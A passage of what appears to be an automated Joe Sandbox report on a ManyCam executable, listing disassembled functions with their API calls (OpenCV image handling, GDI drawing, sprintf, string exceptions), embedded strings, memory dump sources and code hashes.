Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CreateRelease
String ID:
API String ID: 557197377-0
Opcode ID: ba2c734ec160b10dc2be184458e091322f75ff8d3104fcbc22788eb87a98d7e3
Instruction ID: 043076e51676209564484e982c9936a884ec24064fff71ead1165430e30ebd4e
Opcode Fuzzy Hash: ba2c734ec160b10dc2be184458e091322f75ff8d3104fcbc22788eb87a98d7e3
Instruction Fuzzy Hash: C6311574605201DFD304DF10D499E26BBA1BFC8704F5289CCE2941B2E6DB71D936CB82

Uniqueness

Uniqueness Score: -1.00%

Function 017880A0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

sprintf.MSVCR80 ref: 017880E3
sprintf.MSVCR80 ref: 0178812A

Strings

%d., xrefs: 017880DD
-.Inf, xrefs: 0178816B
.Nan, xrefs: 01788153
.Inf, xrefs: 01788172

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: sprintf
String ID: %d.$-.Inf$.Inf$.Nan
API String ID: 590974362-1425397501
Opcode ID: e3274734506798ee4f184bd24f2d6294aef6767595d649f0d7006e5efb10e2e3
Instruction ID: e251129082fe701fdddee6192b8581bf1b167d9395fcde6440dbe7525ddab0da
Opcode Fuzzy Hash: e3274734506798ee4f184bd24f2d6294aef6767595d649f0d7006e5efb10e2e3
Instruction Fuzzy Hash: 70214C74B0C140CBCB257A68FD953A6BBA0BF81714F94C59CE4C5C2388EB3588658787

Uniqueness

Uniqueness Score: -1.00%

Function 017881A0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 80COMMON

Download Yara Rule

APIs

sprintf.MSVCR80 ref: 017881EC
sprintf.MSVCR80 ref: 01788233

Strings

%d., xrefs: 017881E6
-.Inf, xrefs: 0178826C
.Nan, xrefs: 01788254
.Inf, xrefs: 01788273

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: sprintf
String ID: %d.$-.Inf$.Inf$.Nan
API String ID: 590974362-1425397501
Opcode ID: fcf9abd02161b8d616a1dccaa490f91a942c0a38db179656cebaa6cef9b0311d
Instruction ID: 2870fe047420b922b11146e953bc1b9780da1abf67910de81d3cd25fe1b90039
Opcode Fuzzy Hash: fcf9abd02161b8d616a1dccaa490f91a942c0a38db179656cebaa6cef9b0311d
Instruction Fuzzy Hash: EB213D3060C5408BCB25BA58ED547A6FBA0FF81754FE44598E8D582358E3318429CB87

Uniqueness

Uniqueness Score: -1.00%

Function 00402BB0 Relevance: 9.1, APIs: 6, Instructions: 56COMMON

Download Yara Rule

APIs

cvCreateImage.CXCORE099(?,?,00000008,00000001,?,?,00403181,?,?), ref: 00402BC0
cvCreateImage.CXCORE099(?,?,00000008,00000001,?,00000000,?,00000000,?,0040120F), ref: 00402BD4
cvCreateImage.CXCORE099(?,?,00000020,00000003,?,?,?,?,?,00000000,?,00000000,?,0040120F), ref: 00402BE9
cvReleaseImage.CXCORE099(?,?,?,?,?,?,00000000,?,00000000,?,0040120F), ref: 00402BFE
cvReleaseImage.CXCORE099(?,?,00000000,?,00000000,?,0040120F), ref: 00402C10
cvReleaseImage.CXCORE099(?,?,00000000,?,00000000,?,0040120F), ref: 00402C22

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image$CreateRelease
String ID:
API String ID: 3874174198-0
Opcode ID: 90bf2cca833fb2c28ec0a48af1516d2f96f179e9554cc466a05b48644bb4997a
Instruction ID: 6a9ac0958563a1589a8d938dd82cbe29a94ad790e47f913414e9d99cb75ce162
Opcode Fuzzy Hash: 90bf2cca833fb2c28ec0a48af1516d2f96f179e9554cc466a05b48644bb4997a
Instruction Fuzzy Hash: F901F9F590130176F630AB259D4EF4B76DCFF91701F04483AF55AA12C1F6B4E184C221

Uniqueness

Uniqueness Score: -1.00%

Function 004032A0 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

cvReleaseImage.CXCORE099(004012A4,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 004032CA
cvReleaseImage.CXCORE099(004012A8,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 004032DC
cvReleaseImage.CXCORE099(004012AC,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 004032EA
cvReleaseImage.CXCORE099(004012C0,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 00403302
cvReleaseImage.CXCORE099(004012C4,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 00403314
cvReleaseImage.CXCORE099(004012C8,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 00403326

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ImageRelease
String ID:
API String ID: 535124018-0
Opcode ID: d5d590391344c0c731e22e2c0c0412fa703b525e44fcf2c6df5cf6810ee77da8
Instruction ID: f6f80441a689a6daaa6ac2ab205e4bd6027bf7437223482053866a57996ed6f5
Opcode Fuzzy Hash: d5d590391344c0c731e22e2c0c0412fa703b525e44fcf2c6df5cf6810ee77da8
Instruction Fuzzy Hash: A91198F6801201E7EB309E11D889B4BBBACBF50302F44443AD84552285E778B78DCAAB

Uniqueness

Uniqueness Score: -1.00%

Function 00500760 Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

CreatePen.GDI32(00000000,?,?), ref: 00500770
SelectObject.GDI32(?,?), ref: 00500781
MoveToEx.GDI32(00000000,?,?,00000000), ref: 0050079D
LineTo.GDI32(?,?,?), ref: 005007B4
SelectObject.GDI32(?,?), ref: 005007C2
DeleteObject.GDI32(?), ref: 005007CC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Object$Select$CreateDeleteLineMove
String ID:
API String ID: 3907703346-0
Opcode ID: 9d38677caad3bd7ce77eb5ab1a294411b075db9e3abd6b2e1ed079b8364021da
Instruction ID: ebe4794baeb4ac7055bd3e8995aa24abe63a483cd3410c18cbb4b8d80212e508
Opcode Fuzzy Hash: 9d38677caad3bd7ce77eb5ab1a294411b075db9e3abd6b2e1ed079b8364021da
Instruction Fuzzy Hash: 5B1195B9610208EFDB04DFA8D898D9ABBB9EB9D301F108149FE0987350D730E955DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00434B70 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 00447FF0: SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 00448006

Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 00434C17

Part of subcall function 004DB530: _DebugHeapAllocator.LIBCPMTD ref: 004DB54A

memset.MSVCR80 ref: 00434C2B

Part of subcall function 00447E60: SendMessageW.USER32(?,00001132,00000000,yLC), ref: 00447E78

Concurrency::task_options::get_scheduler.LIBCPMTD ref: 00434CEC

Part of subcall function 004DAF40: _DebugHeapAllocator.LIBCPMTD ref: 004DAF57

memset.MSVCR80 ref: 00434D1D

Strings

pzC, xrefs: 00434BF8

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapMessageSendmemset$Base::Concurrency::details::Concurrency::task_options::get_schedulerPolicyScheduler
String ID: pzC
API String ID: 1527497025-2444570644
Opcode ID: e3d9d7585f77d899c6d2de3521e35a6c3d02375cb3cf3d8ffcf042e74bc981e3
Instruction ID: ed1ee3073941a6660e753338659c4a22794240fa1e9d27d03445b3c6d8f704d4
Opcode Fuzzy Hash: e3d9d7585f77d899c6d2de3521e35a6c3d02375cb3cf3d8ffcf042e74bc981e3
Instruction Fuzzy Hash: 9C610CB1D01118DBDB14DFA5D891BEEBBB5FF48304F2041AEE10A67281DB386A45CF99

Uniqueness

Uniqueness Score: -1.00%

Function 017247F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

cvError.CXCORE099(FFFFFF2D,cvSetSeqReaderPos,017A124F,.\cxdatastructs.cpp,000004CC), ref: 01724844

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF2D,cvSetSeqReaderPos,017A124F,.\cxdatastructs.cpp,000004D3), ref: 01724896
cvError.CXCORE099(000000E5,cvSetSeqReaderPos,017A124F,.\cxdatastructs.cpp,000004C2), ref: 01724966

Strings

.\cxdatastructs.cpp, xrefs: 01724830, 01724882, 01724955
cvSetSeqReaderPos, xrefs: 0172483A, 0172488C, 0172495F

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxdatastructs.cpp$cvSetSeqReaderPos
API String ID: 483703942-4040003269
Opcode ID: dd7ee8064108b0f618df814cc2e3a3ae43017c828d5e17435ac8da74debc99bd
Instruction ID: 373422041f195e571489be53253649a77050f452702da64343110a4aaa666ade
Opcode Fuzzy Hash: dd7ee8064108b0f618df814cc2e3a3ae43017c828d5e17435ac8da74debc99bd
Instruction Fuzzy Hash: 9A41B2B2B412209FC708CF09D594945F7A2FBC4B2433AC5AED5196F25AC7B2E847CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00408360 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004083C6
CompareStringW.KERNEL32(00000400,00000001,?,00000003,<A>,00000003), ref: 00408424
CompareStringW.KERNEL32(00000400,00000001,?,00000004,</A>,00000004), ref: 00408474

Strings

</A>, xrefs: 0040845C
<A>, xrefs: 0040840C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CompareString$lstrlen
String ID: </A>$<A>
API String ID: 1657112622-2122467442
Opcode ID: 71153d6a453ea1603edaace69c389d9b4173073ffd4576bfc9ed4d047b5a66fa
Instruction ID: 8d4014fe370238e856f28d0c67f96b0aed6e5c53389ece421d0f182d8b12796b
Opcode Fuzzy Hash: 71153d6a453ea1603edaace69c389d9b4173073ffd4576bfc9ed4d047b5a66fa
Instruction Fuzzy Hash: CB5121B4A0421ADFDB04CF88C990BAEB7B2FF84304F108159E915AB3D0DB75A946CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004098C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 00409943

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 00409981
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,?,?,0053CC2C,data\images\addEffectDlg\,?,?,?,74C45DB3), ref: 004099A1

Strings

data\images\addEffectDlg\, xrefs: 0040993B
.png, xrefs: 00409979

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: .png$data\images\addEffectDlg\
API String ID: 1315443971-2820274302
Opcode ID: b1f5f912a3a6442a3cc382653bc540b1293c177797d8700b4929a6cfcbca8e46
Instruction ID: 99387fa8a9a4026cbf0ab0abdc8698a1dc38235ed2b893dafecf0ce6710d2d8a
Opcode Fuzzy Hash: b1f5f912a3a6442a3cc382653bc540b1293c177797d8700b4929a6cfcbca8e46
Instruction Fuzzy Hash: 363117B1D1520CABCB04EFA9D945BDDBFB4FB08304F10852EE42577281D7745909CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041C830 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 0041C8AC

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 0041C8EA
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,0041C80E,00000049,0053F620,data\images\maindlg\,00000049,?,00000000,74C45DB3,?,0041C80E,0000000C,00000049), ref: 0041C90D

Strings

.png, xrefs: 0041C8E2
data\images\maindlg\, xrefs: 0041C8A4

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: .png$data\images\maindlg\
API String ID: 1315443971-2402009575
Opcode ID: 1ae46db1c05b4e9d5e20b3199a0bbc276ac8498851860a350528a00f3f14c102
Instruction ID: 95f2c906bb04f7db6848c29b7cfe536fa7cadaced1f5336b0e2a281727f52370
Opcode Fuzzy Hash: 1ae46db1c05b4e9d5e20b3199a0bbc276ac8498851860a350528a00f3f14c102
Instruction Fuzzy Hash: AD312DB1D05248EBCB04EFA5D986BDDBBB4FF18714F10452EE01577291D7746A08CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004AE0D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00533079,000000FF,?,004CA363,004C9539), ref: 004AE0FD
std::bad_exception::bad_exception.LIBCMTD ref: 004AE111
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 004AE11F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00533079,000000FF,?,004CA363,004C9539), ref: 004AE12E

Strings

vector<T> too long, xrefs: 004AE0F5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: ae87a26418053443f0edf2846f8f275329f855a056418cc1095f19f45bc3fa38
Instruction ID: 992c7d1c538af7c9c0ce4edad66a1111de3b001cb72a08a5d5271ad12714ae45
Opcode Fuzzy Hash: ae87a26418053443f0edf2846f8f275329f855a056418cc1095f19f45bc3fa38
Instruction Fuzzy Hash: CCF04FB1944648EBCB14DF94ED45FDDBB78FB14720F50426AF812A32D0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004307E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,0052A649,000000FF,?,004304C6,?,74C45DB3), ref: 0043080D
std::bad_exception::bad_exception.LIBCMTD ref: 00430821
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0043082F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,0052A649,000000FF,?,004304C6,?), ref: 0043083E

Strings

vector<T> too long, xrefs: 00430805

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: e084c971732a66b90e1072e7244ee56ba224c388b66ba4f93c615bfa38d58c9c
Instruction ID: 84ce0209dc11d6b23fc1989ca18a4f5fc0ac43ec5a2d3810fda43137453e27bd
Opcode Fuzzy Hash: e084c971732a66b90e1072e7244ee56ba224c388b66ba4f93c615bfa38d58c9c
Instruction Fuzzy Hash: FCF0A9B1944248EBCB14DFA0ED41FDDBB78FB04720F40022AF822A32C0EB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004E27F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,?,00000000,00536A69,000000FF,?,004E144B,74C45DB3), ref: 004E281D
std::bad_exception::bad_exception.LIBCMTD ref: 004E2831
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 004E283F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,?,00000000,00536A69,000000FF,?,004E144B), ref: 004E284E

Strings

vector<T> too long, xrefs: 004E2815

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: dc35638380dab2938959a34dbcce56baedfc7c7e4cd6927fef2e7d6d97a3b54c
Instruction ID: 0a4d440cb5536f40db0fd076e9c7fc5d2a12fc606929b1cb6c9b0b09eff913f8
Opcode Fuzzy Hash: dc35638380dab2938959a34dbcce56baedfc7c7e4cd6927fef2e7d6d97a3b54c
Instruction Fuzzy Hash: B4F03CB1944648EBCB14DF94ED45B9DBB78FB14720F50426AA812A32D0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00412890 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00528FB9,000000FF,?,00411C76,?,74C45DB3), ref: 004128BD
std::bad_exception::bad_exception.LIBCMTD ref: 004128D1
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 004128DF
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00528FB9,000000FF,?,00411C76,?), ref: 004128EE

Strings

